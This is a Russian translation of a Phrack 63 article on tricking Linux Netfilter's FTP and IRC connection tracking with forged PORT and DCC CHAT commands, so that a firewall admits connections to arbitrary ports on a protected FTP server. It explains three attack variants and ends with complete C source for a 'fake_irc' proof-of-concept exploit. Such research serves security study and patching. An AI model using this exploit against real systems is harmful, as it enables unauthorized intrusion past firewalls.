[=====«Breaking through a Firewall using a forged FTP command»======] Soungjoo Han <[email protected]> [=Проникновение через фаервол используя поддельные FTP-команды=] перевод rent0n <[email protected]> Содержание: 1.Введение 2.FTP, IRC и динамическая фильтрация пакетов Netfilter'ом 3.Вариант атаки №1 3.1 Первоначальный обман 3.2 Детали атаки 4.Вариант атаки №2 – нестандартная коммандная строка 4.1 Детали атаки 5.Вариант атаки №3 - свойство 'echo' ftp-ответа 5.1 Пассивный режим : общая информация 5.2 Детали атаки 6.Приложение 1. Демонстрация атаки 2-м способом [=====================1. Введение =======================] FTP – протокол, использующий два TCP-соединения. Одно из них называется контрольным(control connection), по нему передаются команды от ftp-клиента к серверу и обратно. Контрольное соединение существует на протяжении всей FTP-сессии. Другое же соединение называется каналом передачи данных(data connection – data-соединение). Это соединение существует лишь при передаче данных между узлами сети. Многие фаерволы не разрешают никаких соединений с FTP-сервером, исключая контрольные соединения по FTP-протоколу(21-й TCP-порт по умолчанию) для обеспечения безопасности. Однако, на протяжении времени передачи файла разрешаются временные каналы передачи данных. Для этого фаервол следит за состоянием контрольного соединения и фиксирует команды, связанные с передачей файлов. Это называется динамическая фильтрация пакетов. Я придумал 3 способа атаки, которые заставят фаервол разрешить нелегальные ftp-соединения путем обмана проверки соединения с помощью фальшивых ftp-комманд. Все способы были проверены на iptables, который является дефолтным фаерволом в Linux с ядрами 2.4 – 2.6. 1-й способ тестировался на ядре 2.4.18 и 2.4.28. Эта уязвимость пофиксена, начиная с ядра 2.6.11. [=======2. FTP, IRC и динамическая фильтрация пакетов Netfilter'ом======] Для начала рассмотрим FTP, IRC (позже вы узнаете, почему IRC тут упоминается) и динамическую фильтрацию пакетов. Если вы хорошо разбираетесь в этом, то можете пропустить эту главу. Как уже установлено, FTP использует контрольное соединение для отправки и получения команд(представленных в ASCII), и использует канал передачи данных для передачи файлов. Например, когда вы вводите «ls» или «get» <filename> в FTP-приглашении, FTP-сервер (в активном режиме) инициирует установление канала передачи данных с портом(который называется data-порт) на вашей системе. Клиент, в свою очередь, отправляет номер порта,используя команду PORT: PORT<space>h1,h2,h3,h4,p1,p2<CRLF> Тут символы «h1,h2,h3,h4» сообщают точечно-десятичную запись IP-адреса клиента (h1.h2.h3.h4), а строка «p1,p2» сообщает номер порта данных (= p1 * 256 + p2). Каждое поле адреса и номер порта представляет собой 10-ное число. Дата-порт динамически назначается клиентом. Команды и ответы звканчиваются последовательностью <CRLF>. Netfilter отслеживает контрольное соединение FTP и принимает последовательность чисел и длину данных пакета, содержащего FTP-команду(заканчивающуюся <LF>). Затем он вычисляет последовательность чисел следующих команд, основываясь на этой информации. Когда прибыл пакет с последовательностью чисел, Netfilter анализирует, содержат ли данные пакета FTP-команду. Если заголовок данных идентичен "PORT", и пакет заканчивается <CRLF>, Netfilter принимает это за действительную команду PORT(фактические коды более запутанны) и извлекает оттуда IP-адрес и номер порта. Впоследствии Netfilter ожидает установления сервером канала передачи данных с определенным портом клиента. Когда запрос на установление соединения действительно прибывает, Netfilter разрешает соединение только пока оно действует. В случае незавершенной (неполной) команды, данные удаляются. IRC (Internet Relay Chat) - система диалогового общения по Интернету. IRC-клиент может использовать непосредственное соединение надлежащим образом общаясь с другим клиентом. Когда клиент логинится на сервере, он/она коннектится к IRC-серверу(порт 6667 по умолчанию). С другой стороны, когда клиент хочет общаться с другим, он устанавливает прямое соединение с другим участником. Для этого клиент отправляет сообщение, называемое DCC CHAT. Эта команда аналогична команде FTP PORT, и Netfilter также отслеживает IRC-соединения. Он ожидает и разрешает прямые IRC-соединения. [====================3. Вариант атаки №1==================] 3.1 Первоначальный обман Я придумал, как можно нелегально коннектиться к любому TCP-порту на FTP-сервере, защищенному Netfilter'ом, обманывая модуль отслеживания соединений в ядре Linux 2.4.18. В большинстве случаев, администраторы используют динамическую фильтрацию пакетов для разрешения передачи файлов по FTP или для прямого соединения в IRC. Для этого администраторы обычно вставляют в список правил IPTables следующее правило: iptables -A FORWARD -m state --state ESTABLISHED, RELATED -j ACCEPT Примечание(rent0n<[email protected]>):========================= Когда пакет приходит на наш брандмауэр, то он сперва попадает на сетевое устройство, перехватывается соответствующим драйвером и далее передается в ядро. Далее пакет проходит ряд таблиц и затем передается локальному приложению, либо перенаправляется на другую машину. Пакеты, предназначенные локальному приложению, проходят цепочки PREROUTING(обычно тут вносятся изменения в заголовок пакета + преобразование адресов(DNAT)) и INPUT(тут происходит непосредственно фильтрация входящего трафика). Все транзитные пакеты попадают проходят через цепочку FORWARD, где и осуществляется фильтрация транзитного трафика, идущего в обоих направлениях. Вне ядра пакеты могут иметь только 4 состояния. В основном состояние пакета используется критерием –state. Допустимыми являются состояния NEW, ESTABLISHED, RELATED и INVALID. Вкратце опишем каждое состояние: NEW сообщает о том, что пакет является первым для данного соединения. Например, это может быть SYN-пакет.(Вспомним "3-этапное рукопожатие" при установлении соединения). Соединение получает статус RELATED, когда оно связано с другим соединением, имеющим признак ESTABLISHED. Т.е., cоединение получает признак RELATED только когда оно инициировано из уже установленного соединения, имеющего признак ESTABLISHED. Хороший пример RELATED-соединения – соединение FTP-data(т.е. создание канала передачи данных), которое связано с контрольным соединением, а также состояние DCC CHAT в IRC. Состояние ESTABLISHED говорит о том, что это не первый пакет в соединении. После получения ответа состояние NEW или RELATED изменяется на ESTABLISHED. Признак INVALID говорит о том, что пакет не может быть идентифицирован и поэтому не может иметь определенного статуса. Итак, это правило iptables -A FORWARD -m state --state ESTABLISHED, RELATED -j ACCEPT расшифровывается так: Добавляется новое правило для цепочки FORWARD, согласно которому принимаются все пакеты, имеющие состояние ESTABLISHED и RELATED. При этом пакет прекращает движение по цепочке. ===================================================== Допустим, что злоумышленник, залогинивщийся на FTP-сервере, передает команду PORT с номером TCP-порта 6667(это по умолчанию порт IRC-сервера) и затем пытается загрузить с сервера файл. FTP-сервер инициирует установление канала передачи данных с 6667 портом на хосте злоумышленника. Фаервол разрешает это соединение при установленной динамической фильтрации пакетов. Когда соединение установлено, модуль отслеживания соединений фаервола (в ядре Linux 2.4.18) ошибочно принимает его за irc-соединение. Таким образом хост атакующего может притвориться IRC-сервером. Когда атакующий загружает файл, содержащий строку с шаблоном команды DCC CHAT, модуль отслеживания соединений ошибочно примет содержание пакета данных за команду DCC CHAT. В результате фаервол разрешит всем хостам коннектиться к TCP-порту, определенному командой DCC CHAT, на IRC-клиенте (т.е., FTP-сервере) в соотвествии с правилом разрешения связанных(родственных) соединений. Для этого атакующий может загрузить файл перед вторжением. В заключение отметим, что атакующий может нелегально коннектиться ко всем TCP-портам на FTP-сервере. 3.2 Детали атаки Для описания деталей примем следующую конфигурацию: 1.Netfilter/IPtables защищает FTP-сервер в сети. Поэтому пользователи из внешней сети могут коннектиться только к FTP-порту на FTP-сервере. Разрешенные пользователи могут логиниться на сервере и скачивать/закачивать файлы. 2.Пользователи в защищенной сети, включая FTP-сервер, могут коннектится только к IRC-серверам во внешней сети. 3.Пока один из интернет-демонов находится в состоянии (1) или (2), дополнительные соединения(например, FTP data-соединение), могут быть временно приняты. 4.Все другие соединения блокируются Для реализации динамической фильтрации для FTP и IRC администратор загружает модули ip_conntrack: ip_conntrack_ftp и ip_conntrack_irc. Ipt_state также должен быть загружен. В этом случае атакующий может легко создать программу, логинящуюся на FTP-сервере и заставляющую сервер инициировать создание канала передачи данных с произольным портом на его хосте. Предположим, что атакующий передает команду PORT c data-портом 6667(дефолтный порт irc-сервера). Например, так:"PORT 192,168,100,100,26,11\r\n". Модуль ip_conntrack_ftp, отслеживающий такие соединения, анализирует команду PORT и ожидает от FTP-сервера активации открытия соединения с определенным портам на хосте атакующего. После этого атакующий отправляет FTP-команду для загрузки файла "RETR <a file name>". Сервер пробует соединиться с портом 6667 на хосте атакующего. Netfilter разрешает установление канала передачи данных при динамической фильтрации пакетов. Когда соединение установлено, модуль ip_conntrack ошибочно принимает его за IRC-соединение. Ip_conntrack принимает FTP-сервер за IRC-клиент, а атакующий хост – за IRC-сервер. И если поддельный IRC-клиент(т.е., FTP-сервер),будет отправлять пакеты по каналу передачи данных, модуль ip_conntrack_irc будет пытаться обнаружить в пакетах сообщения по протоколу DCC. Атакующий может заставить FTP-сервер отправить поддельные команды DCC CHAT, использую следующую хитрость. Перед вторжением атакующий загружает файл, содержащий строку, подобную этой: "\1DCC<пробел>CHAT<пробел>t<пробел><Десятичная запись IP-адреса клиента><пробелы><Номер TCP-порта на IRC-клиенте>\1\n" Например, "\1DCC CHAT t 3232236548 8000\1\n". В этом случае Netfilter разрешает любому хосту инициировать открытие ТСР-порта, определенного в этой строке. Конечно, атакующий может произвольно ограничить номер ТСР-порта в поддельных DCC CHAT коммандах. Если такой пакет проходит через фаервол, модуль ip_conntrack_irc ошибочно принимает его за команду DCC CHAT и ожидает от любого хоста активации открытия поределенного порта на FTP-сервере для непосредственного соединения. Атакующий может нелегально коннектиться ко всем TCP-портам на FTP-сервере, используя эту хитрость. ========4. Вариант атаки №2 – нестандартная коммандная строка======== 4.1 Детали атаки Netfilter в ядре Linux 2.4.20 (и в более поздних версиях) также определяет, что вторичные (или дополнительные) соединения (как, например, FTP-data соединение), принятые главным соединением, не считаются ошибочными. Таким образом, содержимое пакетов FTP-data соединения не будет анализироваться ничем иным, кроме модуля отслеживания irc-соединений. Тем не менее я придумал способ коннектиться к любому TCP порту на на FTP-сервере, защищенном Netfilter'ом, используя нестандартные FTP-команды. Как я уже говорил, я покажу, что это работает в Linux 2.4.28. При обстоятельствах, установленных в предыдущей главе, злоумышленник из внешней сети может легко создать программу, которая будет коннектиться на FTP-сервере и передавать нестандартные ftp-команды. Например, атакующий может передать команду PORT без символа <CR> в конце, т.е. Команда будет заканчиваться лишь символом <LF>. Например, "PORT 192,168,100,100,26,11\n". Обычные же команды заканчиваются <CRLF>. Если модуль ip_conntrack_ftp принимает нестандартную FTP-команду такого типа, он ее анализирует и пытается отыскать символ <CR>. Поскольку этот символ отсутствует, ip_conntrack_ftp принимает команду за "неполную" и удаляет пакет.Но перед этим ip_conntrack_ftp ожидает пакет с определенным порядковым номером, содержащий следующую FTP-команду и обновляет связанную с этим информацию. Этот номер вычисляется, основываясь на порядковом номере и длине данных "неполной" FTP-команды. Тем не менее, TCP-клиент впоследствии обычно повторно передает идентичную FTP-команду PORT, если ответ не был получен. В этом случае ip_conntrack_ftp не рассматривает этот повторно переданный пакет как FTP-команду, поскольку его порядковый номер отличается от ожидаемого. С точки зрения ip_conntrack_ftp пакет имеет неверный порядковый номер. Модуль ip_conntrack_ftp разрешает этот пакет без анализа команды. А FTP-сервер в конечном итоге может принять этот повторно переданный атакующим пакет. Несмотря на то, что ip_conntrack_ftp рассматривает эту неполную FTP-команду как недействительную, некоторые FTP-сервера, такие как wu-ftp, рассматривают неполную FTP-команду как действительную. Фаервол в этом случае опять же ошибочно ожидает установления канала передачи(FTP data connection). И когда атакующий отправляет команду RETR для загрузки файла с сервера, сервер инициализирует установление соединения с TCP-портом на хосте атакующего, определенным в команде PORT. Предположим, что номер порта 6667(порт IRC-сервера). Фаервол принимает соединение под контролем правила, фильтрующего статические пакеты, которое разрешает IRC-соединения, вместо статической фильтрации пакетов. Так модуль отслеживания соединений IP ошибается с IRC-соединением. Следующим шагом атакующего может быть прием, рассмотренный в предыдущей главе. Таким образом, атакующий может нелегально коннектиться ко всем TCP-портам, защищенным фаерволом. *[дополнение] Более профессиональный способ обмана Netfilter. Он использует дефолтный data-порт. При условии, что data-порт не определяется в команде PORT и требуется установить data-соединение, FTP-сервер активизирует открытие портов с номерами от 20 до номера порта контрольного соединения(21). Для этого клиент предварительно прослушивает локальные порты. Вдобавок, атакующий может связать локальный порт с 6667(IRCD), и установить опцию сокета "SO_REUSEADDR" для повторного использования порта. Так как команда PORT никогда не проходит через Netfiter, фаервол не может предупреждать data-соединение. Я покажу, что это работает в Linux с ядром 2.4.20. ** Демонстрационная программа и пример атаки описаны в приложениях 1 и 2. from PHRACK'63 http://phrack.org автор Soungjoo Han <[email protected]> перевел rent0n <[email protected]>
Продолжение... [==========5. Вариант атаки №3 - свойство 'echo' ftp-ответа==========] 5.1 Пассивный режим : общая информация FTP-сервер способен открывать также пассивное data-соединение. Это называется пассивный FTP. Наоборот, активное открытие соединения называется активным FTP. Перед передачей файлов в пассивном режиме клиент отправляет серверу команду PASV, а сервер отвечает соответствующим сообщением, содержащим номер порта клиента, например: -> USER <a user name>\r\n <- 331 Password required for <the user name>.\r\n 5.2 Детали атаки Обычно после соединения пользователя с FTP-сервером, сервер сразу же запрашивает имя пользователя. Когда клиент вводит имя в FTP-приглашении, на сервер отправляется команда USER с последовательностью символов имени пользователя, которые частично возвращаются. Например, пользователь вводит имя "Alice Lee" в FTP-приглашении -> USER Alice Lee\r\n FTP-сервер обычно возвращает следующее: <- 331 Password required for Alice Lee.\r\n ("Alice Lee" повторяется.) Пробелы могут включаться в имя пользователя. Злоумышленник может вставить вместо имени произвольный шаблон. Например, когда вставляется вместо имени ответ пассивного FTP, часть прибывшего ответа подобна ответу пассивного FTP. -> USER 227 Entering Passive Mode (192,168,20,29,42,125)\r\n <- 331 Password required for 227 Entering Passive Mode (192,168,20,29,42,125).\r\n Может ли фаервол спутать это с "настоящим" ответом пассиного FTP? Может быть большинство фаерволов не ошибаются тут, поскольку шаблон находится в середине ответа. Предположим, однако, что размер TCP-окна соединения регулируется атакующим, когда соединение уже установлено. В этом случае ответа может быть разделено на 2 части. (A) ----->USER xxxxxxxxx227 Entering Passive Mode (192,168,20,29,42,125)\r\n (B) <-----331 Password required for xxxxxxxxx (C) ----->ACK(with no data) (D) <-----227 Entering Passive Mode (192,168,20,20,42,125).\r\n (где символы "хххх...." - просто буквы, всатвленные для регулирования длины данных) Я тестировал этот способ на Netfilter/IPTables. Я покажу, что Netfilter не ошибается в подобных случаях. Причина этого в следующем: (В) – это неполная FTP-команда, заканчивающаяся <LF>. Netfilter, соответствено, никогда не рассматиривает (D) – следующий пакет данных – как ответ. В результате фаервол не пробует разобрать (D). Но все же в случае небрежной реализации модуля отслеживания соединений атака будет работать. В этом случае фаервол будет ожидать от клиента активного открытия соединения с портом на FTP-сервере,причем номер порта определен в поддельном ответе. Когда атакующий инициализирует установление соединения с целевым портом на сервере, фаерволл в конечном итоге принимает нелегальное соединение. [=========6. Приложение 1. Демонстрация атаки 2-м способом=========] Я написал программу, использующую данную уязвимость, на языке С. Для компиляции использовалась команда: />gcc -Wall -o fake_irc fake_irc.c Исходник программы: /* USAGE : ./fake_irc <an FTP server IP> <a target port> <a user name> <a password> <a file name to be downloaded> - <an FTP server IP> : An FTP server IP that is a victim - <a target port> : the target TCP port on the FTP server to which an attacker wants to connect - <a user name> : a user name used to log on the FTP server - <a password> : a password used to log on the FTP server - <a file name to be downloaded> : a file name to be downloaded from the FTP server */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <arpa/inet.h> #define BUF_SIZE 2048 #define DATA_BUF_SZ 65536 #define IRC_SERVER_PORT 6667 #define FTP_SERVER_PORT 21 static void usage(void) { printf("USAGE : ./fake_irc " "<an FTP server IP> <a target port> <a user name> " "<a password> <a file name to be downloaded>\n"); return; } void send_cmd(int fd, char *msg) { if(send(fd, msg, strlen(msg), 0) < 0) { perror("send"); exit(0); } printf("--->%s\n", msg); } void get_reply(int fd) { char read_buffer[BUF_SIZE]; int size; //get the FTP server message if( (size = recv(fd, read_buffer, BUF_SIZE, 0)) < 0) { perror("recv"); exit(0); } read_buffer[size] = '\0'; printf("<---%s\n", read_buffer); } void cmd_reply_xchg(int fd, char *msg) { send_cmd(fd, msg); get_reply(fd); } /* argv[0] : a program name argv[1] : an FTP server IP argv[2] : a target port on the FTP server host argv[3] : a user name argv[4] : a password argv[5] : a file name to be downloaded */ int main(int argc, char **argv) { int fd, fd2, fd3, fd4; struct sockaddr_in serv_addr, serv_addr2; char send_buffer[BUF_SIZE]; char *ftp_server_ip, *user_id, *pwd, *down_file; unsigned short target_port; char data_buf[DATA_BUF_SZ]; struct sockaddr_in sa_cli; socklen_t client_len; unsigned int on = 1; unsigned char addr8[4]; int datasize; if(argc != 6) { usage(); return -1; } ftp_server_ip = argv[1]; target_port = atoi(argv[2]); user_id = argv[3]; pwd = argv[4]; down_file = argv[5]; if((fd = socket(AF_INET, SOCK_STREAM, 0)) <0) { perror("socket"); return -1; } bzero(&serv_addr, sizeof(struct sockaddr_in)); serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(FTP_SERVER_PORT); serv_addr.sin_addr.s_addr = inet_addr(ftp_server_ip); //connect to the FTP server if(connect(fd, (struct sockaddr *) &serv_addr, sizeof(struct sockaddr))) { perror("connect"); return -1; } //get the FTP server message get_reply(fd); //exchange a USER command and the reply sprintf(send_buffer, "USER %s\r\n", user_id); cmd_reply_xchg(fd, send_buffer); //exchange a PASS command and the reply sprintf(send_buffer, "PASS %s\r\n", pwd); cmd_reply_xchg(fd, send_buffer); //exchange a SYST command and the reply sprintf(send_buffer, "SYST\r\n"); cmd_reply_xchg(fd, send_buffer); sleep(1); //write a PORT command datasize = sizeof(serv_addr); if(getsockname(fd, (struct sockaddr *)&serv_addr, &datasize) < 0 ) { perror("getsockname"); return -1; } memcpy(addr8, &serv_addr.sin_addr.s_addr, sizeof(addr8)); sprintf(send_buffer, "PORT %hhu,%hhu,%hhu,%hhu,%hhu,%hhu\n", addr8[0], addr8[1], addr8[2], addr8[3], IRC_SERVER_PORT/256, IRC_SERVER_PORT % 256); cmd_reply_xchg(fd, send_buffer); //Be a server for an active FTP data connection if((fd2 = socket(AF_INET, SOCK_STREAM, 0)) <0) { perror("socket"); return -1; } if(setsockopt(fd2, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) < 0) { perror("setsockopt"); return -1; } bzero(&serv_addr, sizeof(struct sockaddr_in)); serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(IRC_SERVER_PORT); serv_addr.sin_addr.s_addr = INADDR_ANY; if( bind(fd2, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0 ) { perror("bind"); return -1; } if( listen(fd2, SOMAXCONN) < 0 ) { perror("listen"); return -1; } //send a RETR command after calling listen() sprintf(send_buffer, "RETR %s\r\n", down_file); cmd_reply_xchg(fd, send_buffer); //accept the active FTP data connection request client_len = sizeof(sa_cli); bzero(&sa_cli, client_len); fd3 = accept (fd2, (struct sockaddr*) &sa_cli, &client_len); if( fd3 < 0 ) { perror("accept"); return -1; } //get the fake DCC command bzero(data_buf, DATA_BUF_SZ); if( recv(fd3, data_buf, DATA_BUF_SZ, 0) < 0) { perror("recv"); return -1; } puts(data_buf); ///Start of the attack if((fd4= socket(AF_INET, SOCK_STREAM, 0)) <0) { perror("socket"); return -1; } bzero(&serv_addr2, sizeof(struct sockaddr_in)); serv_addr2.sin_family = AF_INET; serv_addr2.sin_port = htons(target_port ); serv_addr2.sin_addr.s_addr = inet_addr(ftp_server_ip); if(connect(fd4, (struct sockaddr *)&serv_addr2, sizeof(struct sockaddr))) { perror("connect"); return -1; }else printf("\nConnected to the target port!!\n"); //Here, communicate with the target port sleep(3); close(fd4);//close the attack connection /////////////The end of the attack. close(fd3);//close the FTP data connection //get the reply of FTP data transfer completion get_reply(fd); sleep(1); close(fd);//close the FTP control connection close(fd2); return 0; }/*The end*/ PS. Исходник приведен "как есть". Коментарии не приводятся, поскольку даже без знания английского языка (но при даже небольшом знании языка С) в программе все очевидно. from PHRACK'63 http://phrack.org автор Soungjoo Han <[email protected]> перевел rent0n <[email protected]>